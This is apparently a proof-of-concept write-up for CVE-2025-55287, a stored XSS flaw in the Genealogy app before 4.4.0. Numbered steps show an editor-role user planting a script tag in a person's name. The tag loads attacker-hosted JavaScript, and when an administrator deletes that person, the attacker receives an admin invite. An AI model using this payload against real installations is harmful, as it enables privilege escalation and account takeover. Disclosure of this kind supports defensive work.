Authenticated stored XSS priv esc PoC. Affects Genealogy versions prior to 4.4.0# CVE-2025-55287-POC
Authenticated Stored Cross-Site Scripting (XSS) in Genealogy app prior to 4.4.0 allows arbitrary JavaScript execution and privilege escalation from Editor+ role to Administrator.
###### Summary
- Vulnerability type: Stored Cross-Site Scripting (CWE-79)
- Affected component: 'Person' firstname and lastname.
- Affected versions: All versions prior to 4.4.0
- Impact: Persistent execution of attacker-supplied JavaScript in victims’ browsers; session hijacking, CSRF via DOM, UI redress, credential theft, or arbitrary actions as the victim.
- Attack vector: Authenticated (any role with new person creation - editor+)
###### Exploiting
Root-cause: Inadequate server-side sanitisation/encoding of the persons firstname/lastname upon succesful delete of the affected person by a higher privileged user.
PoC:
1. Authenticate to the application (editor+ role).
2. Create a new person (does not necessiraly needs to be assigned to any family).
3. Include the JavaScript as either the first name or last name of the added person:
```<script src='yourserver/poc.js'></script>```
4. Edit the poc.js with your email address in the placeholder.
5. Once a privileged user attempts to delete the newly added person, you will receive an invite to the platform on the provided email address with the role of Administrator.
Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view